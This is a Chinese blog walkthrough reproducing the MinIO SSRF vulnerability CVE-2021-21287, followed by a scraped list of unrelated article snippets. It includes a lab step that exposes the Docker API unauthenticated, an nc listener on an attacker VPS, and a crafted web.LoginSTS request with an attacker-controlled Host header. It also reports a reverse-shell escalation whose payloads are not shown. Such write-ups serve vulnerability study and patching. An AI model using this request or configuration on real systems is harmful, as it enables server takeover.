草庐IT

MinIO未授权SSRF漏洞复现(CVE-2021-21287)

. after 2024-02-20 原文

1、漏洞简介

MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。客户端支持Java,Net,Python,Javacript, Golang语言。
由于MinIO组件中LoginSTS接口设计不当，导致存在服务器端请求伪造漏洞。
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。

2、影响版本

MinIO < RELEASE.2021-01-30T00-20-58Z

3、漏洞分析

MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理，用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口。
由于逻辑设计不当，MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL，但由于请求头是用户可控的，所以可以构造任意的 Host，最终导致存在 SSRF 漏洞。

4、环境搭建

靶机：10.57.201.77
攻击机：公网vps

靶机环境搭建操作：（kali）
4.1、启用Docker API

systemctl status docker


vim lib/systemd/system/docker.service

编辑配置文件（docker.service）找到：ExecStart=/usr/bin/dockerd
修改原配置为：
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

修改之后重启：

systemctl daemon-reload

systemctl restart docker

验证：

netstat -nltp |grep 2375


4.2、启MinIO服务

mkdir CVE-2021-21287

cd CVE-2021-21287

vim docker-compose.yml

编辑docker-compose.yml:

version: '3.7'
services:
  minio1:
    image: minio/minio:RELEASE.2021-01-16T02-19-44Z
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9000:9000"
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server http://minio{1...4}/data{1...2}
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:

docker开启服务：

docker-compose -f docker-compose.yml up -d

4.3 靶场访问
访问：http://10.57.201.77:9000

5、SSRF漏洞测试

5.1 使用vps监听8888端口

nc -lvvp 888

5.2 使用burpsuit抓取登录POST数据包

5.3 burp发送repeater,构造payload

5.4、payload附件：

##数据包payload
POST /minio/webrpc HTTP/1.1
Host: $(101.x.x.x:888)
Content-Length: 79
x-amz-date: 20220927T091453Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.57.201.77:9000
Referer: http://10.57.201.77:9000/minio/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"id":1,"jsonrpc":"2.0","params":{"token":     "test"},"method":"web.LoginSTS"}

6、漏洞进一步利用（反弹shell）

6.1 添加一个 DockerFile 通过 API 来进行创建容器 --成功
6.2 接管MinIO,反弹shell，控制靶机 --成功

备注：进一步利用需要vps起一个web服务（建议使用云宝塔搭建lamp），供靶机请求vps的index.php，再通过 Docker API 去 build 获取 80 端口下面的 DockerFile。
index.php及Dockerfile文件payload本文未附加！！！

7、整改建议

MinIO已更新修复了此漏洞，建议更新到新版本，下载地址： https://github.com/minio/minio

MinIO21287xffclassspan安全安全漏洞网络安全

有关MinIO未授权SSRF漏洞复现(CVE-2021-21287)的更多相关文章

  1. Tomcat AJP 文件包含漏洞（CVE-2020-1938） - 2

    目录1．漏洞简介2、AJP13协议介绍Tomcat主要有两大功能：3．Tomcat远程文件包含漏洞分析4．漏洞复现 5、漏洞分析6．RCE实现的原理1．漏洞简介2020年2月20日，公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞（CVE-2020-1938）。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞，依赖于Tomcat的AJP（定向包协议）。AJP自身存在一定缺陷，导致存在可控

  2. ruby-on-rails - 访问授权和访问 token 之间的区别 - 2

    Doorkeeper中Token和Grant的区别我搞不清楚。Doorkeeper在哪个时刻创建访问授权，何时创建访问token？文档似乎对此什么也没说，现在我正在阅读代码，但不是十几行。 最佳答案 我还建议阅读documentationofoauth2据我了解，Doorkeeper也是基于该文档中描述的协议(protocol)。在doorkeeper中，你会先获得accessgrant，然后是accesstoken。访问授权通常只存在很短的时间(doorkeeper中的默认值为10分钟)。您将通过向api-url/oauth/au

  3. 什么是0day漏洞？如何预防0day攻击？ - 2

    什么是0day漏洞？0day漏洞，是指已经被发现，但是还未被公开，同时官方还没有相关补丁的漏洞；通俗的讲，就是除了黑客，没人知道他的存在，其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day，正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高，往往可以达到目的并全身而退，而防守方却一无所知，只有在漏洞公布之后，才后知后觉，却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照！为了方便大家理解，中科三方为大家梳理当前安全防护模式下，一个漏洞从发现到解决的三个时间节点：T0：此时漏洞即0day漏洞，是已经被发现，还未被公开，官方还没有相

  4. ruby - 尝试授权服务器到 ruby​​ 中的服务器类型应用程序以访问 Google 日历时无效授权 - 2

    我正在尝试为自己创建一个直接连接到我的日历的应用程序……但我从不想参与重新验证。我只想编写一次身份验证代码并完成它。授权码如下:key=Google::APIClient::PKCS12.load_key(SERVICE_ACCOUNT_PKCS12_FILE_PATH,PASSWORD)asserter=Google::APIClient::JWTAsserter.new(SERVICE_ACCOUNT_EMAIL,'https://www.googleapis.com/auth/calendar',key)@client=Google::APIClient.new@client.a

  5. ruby-on-rails - 如何授权google-api-ruby-client？ - 2

    我正在努力让google-api-ruby-clientgem按照这里的基本用法示例工作:基本用法require'google/apis/drive_v2'Drive=Google::Apis::DriveV2#Aliasthemoduledrive=Drive::DriveService.newdrive.authorization=...#SeeGoogleauthorSignetlibraries#SearchforfilesinDrive(firstpageonly)files=drive.list_files(q:"titlecontains'finances'")files

  6. ruby-on-rails - 如何访问设计 token 授权注册 Controller ？ - 2

    我正在使用Deviseauthtokengem用于验证我的Rails应用程序的某些部分。但是，当我尝试使用注册路径创建新用户时，出现以下错误{"errors":["Authorizedusersonly."]}。这是我用于测试的rspec代码，it'createsauserusingemail/passwordcombo'dopostapi_user_registration_path,{email:'xxx',password:'yyy',password_confirmation:'yyy'}putslast_response.bodyexpect(last_response.bo

  7. Spring Security 6.0系列【32】授权服务器篇之默认过滤器 - 2

    有道无术，术尚可求，有术无道，止于术。本系列SpringBoot版本3.0.4本系列SpringSecurity版本6.0.2本系列SpringAuthorizationServer版本1.0.2源码地址：https://gitee.com/pearl-organization/study-spring-security-demo文章目录前言1.OAuth2AuthorizationServerMetadataEndpointFilter2.OAuth2AuthorizationEndpointFilter3.OidcProviderConfigurationEndpointFilter4.N

  8. micropython复现经典单片机项目（二）可视化音频 频谱解析（基本搞定） - 2

    本人是音乐爱好者，从小就特别喜欢那个随着音乐跳动的方框效果，就是这个：arduino上一大把对，我忍你很久了，我就想用mpy做，全网没有，行我自己研究。果然兴趣是最好的老师，我之前有篇博客专门讲音频，有兴趣的可以回顾一下。提到可视化频谱，必然绕不开fft，大学学过这玩意，当时一心玩，老师讲的一个字都么听进去，网上教程简略扫了一下，大该就是把时域转频域的工具，我大mpy居然没有fft函数，奶奶的，先放着。音频信息如何收集？第一种傻瓜式的ADC，模拟转数字，原始粗暴，第二种，I2S库，我之前博客有讲过，数据是PCM编码。然后又去学PCM编码，一学豁然开朗，舒服，以代码为例：audio_in=I2S

  9. ruby-on-rails - 与 Authlogic 一起使用的一些好的角色授权解决方案是什么？ - 2

    我正在寻找一个很好的基于角色的授权解决方案来与Authlogic一起使用。有人有什么好的建议吗？如果可能，请根据您的经验列出一些优缺点。 最佳答案 Acl9与AuthLogic配合得很好:http://github.com/be9/acl9/tree/master 关于ruby-on-rails-与Authlogic一起使用的一些好的角色授权解决方案是什么？，我们在StackOverflow上找到一个类似的问题： https://stackoverflow.c

  10. ruby - 如何授权使用 google-api-ruby-client - 2

    我正在为ruby​​使用googleapi，但不知道如何开始，请给我一个ABC示例，非常感谢？ 最佳答案 如果您要创建服务帐户应用程序以访问GoogleAnalytics。通过https://code.google.com/apis/console向Google注册.在APIAccess选项卡上，单击CreateclientID，选择ServiceAccount。存储Google将生成的key文件，并记住该key的密码。这里有一些代码可以帮助您入门require'rubygems'require'google/api_client'

随机推荐